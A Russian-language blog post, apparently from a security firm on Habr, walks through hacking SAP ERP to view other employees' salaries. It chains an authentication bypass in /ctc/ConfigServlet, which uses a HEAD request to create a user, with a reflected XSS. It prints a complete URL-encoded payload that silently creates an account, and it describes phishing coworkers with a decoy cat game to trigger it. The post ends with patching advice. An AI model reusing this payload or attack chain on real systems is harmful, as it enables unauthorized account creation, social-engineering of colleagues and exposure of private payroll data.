Взлом SAP. Смотрим чужую зарплату
Если ты работаешь в компании списка Forbes 500, высока вероятность того, что твою зарплату считает HR модуль SAP ERP. Я покажу как, используя ошибки SAP, посмотреть чужую зарплату в системе SAP ERP.
Disclaimer: Это наш первый официальный пост на Хабре (надеемся, что и не последний), и мы хотели бы начать с освещения одной из самый важных тем. Информация в этом посте исключительно для ознакомления и демонстрации критичности вопросов безопасности.Итак, только работники HR имеют доступ к данным расчета зарплаты. Даже если у тебя есть доступ SAP GUI, и ты попытаешься зайти в транзакцию просмотра данных по з/п, то с вероятностью 99% тебе будет отказано:
Доступа нет, а зарплату посмотреть хочется. Идем смотреть эксплоиты для SAP. Какой у нас есть инструментарий с эксплоитами? Правильно, Metasploit. Гуглим. Ага, на github есть целая папочка metasploit-framework/modules/auxiliary/scanner/sap/. Три десятка эксплоитов, однако:
Вот, например, «Обход аутентификации с помощью Verb Tampering» (modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb), про него уже писали на Хабре.
Коротко суть уязвимости в том, что один из админских сервисов Java-сервера, который входит в пакет поставки SAP NetWeaver, доступен запросом типа HEAD (в противовес запрещенным запросам GET и POST). Если открыть github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb мы видим, что проблема заключается в обращении к сервлету:
/ctc/ConfigServlet? param=com.sap.ctc.util.UserConfig; CREATEUSER; USERNAME=' + datastore['USERNAME'] + ', PASSWORD=' + datastore['PASSWORD']
Конечно, мы можем поставить Metasploit и запустить скрипт с локального компьютера. Но:
1. Нет доступа в локальную сеть, а сервис скорее всего закрыт на доступ из-вне2. Скрипт будет запущен от твоего имени
Поэтому давай, а) составим скрипт сами на основе кода sap_ctc_verb_tampering_user_mgmt.rb б) дадим запустить этот скрипт кому-нибудь из коллег, используя одну из ошибок XSS
Про XSS на Хабре писали уже много раз (читай раз habrahabr.ru/post/66057/ два habrahabr.ru/post/197672/)
Идем гуглить securityfocus. По запросу «sap xss exploit site: http://www.securityfocus.com/» выпадает 359 результатов
По www.securityfocus.com/bid/15361/exploit видим запрос, который исполнит Javascript на компьютере пользователя:
http://www.example.com/sap/bc/BSp/sap/menu/fameset.htm? sap-sessioncmd=open&sap-syscmd=%3Cscript%3Ealert ('xss')%3C/script%3E
Вместо дамми мы вставим HEAD-запрос к /ctc/ConfigServlet
А для того, чтобы результатов запроса никто не увидел, покажем пользователю картинку, обязательно с котиками:
Итоговая ссылка после кодировки в URL будет выглядеть так:
http://www.example.com/sap/bc/BSp/sap/menu/fameset.htm? sap-sessioncmd=open&sap-syscmd= %3Cscript%3Evar%20http%20%3D%20new%20XMLHttpRequest ()%3Bhttp.open (%27HEAD%27%2C%20%22http%3A%2F%2Fxxxxx%2Fctc%2FConfigServlet%3Fparam%3Dcom.sap.ctc.util.UserConfig%3BCREATEUSER%3BUSERNAME%3Dtest444%2CPASSWORD%3DPassword01%22)%3Bhttp.send ()%3Bwindow.location.href%20%3D%20%27http%3A%2F%2Fru.fishki.net%2Fpicsw%2F042007%2F02%2Fflash%2Fcat.swf%27%3B%3C%2Fscript%3E%20
Итак, составляем письмо коллегам:
Нина Ивановна играет в Flash-игру:
А мы — получаем пользователя test444, который (если активировано центральное ведение пользователей) создастся не только на сервере NetWeaver Application Server Java, но и в бэкенде — NetWeaver Application Server ABAP.
Логинимся, проверям. Транзакция HR-модуля работает!
Выводы: мы использовали две уязвимости 2011 и 2013 года. При регулярном обновлении системы патчами такой сценарий будет невозможен. К сожалению, многие базисники забывают регулярно заглядывать в service.sap.com/securitynotes и проверять соответствие последним патчам, или делают это нерегулярно. С 2010 года компания SAP организует «Security Patch Day» каждый второй вторник каждого месяца, когда происходит массовый выпуск патчей по безопасности. Компания SAP просит партнеров не публиковать и не разглашать информацию о найденных уязвимостях как минимум 3 месяца с момента выпуска патча. Однако наши исследования показывают, что многие (в том числе большие) клиенты далеко не всегда устанавливают обновления в срок до 3 месяцев.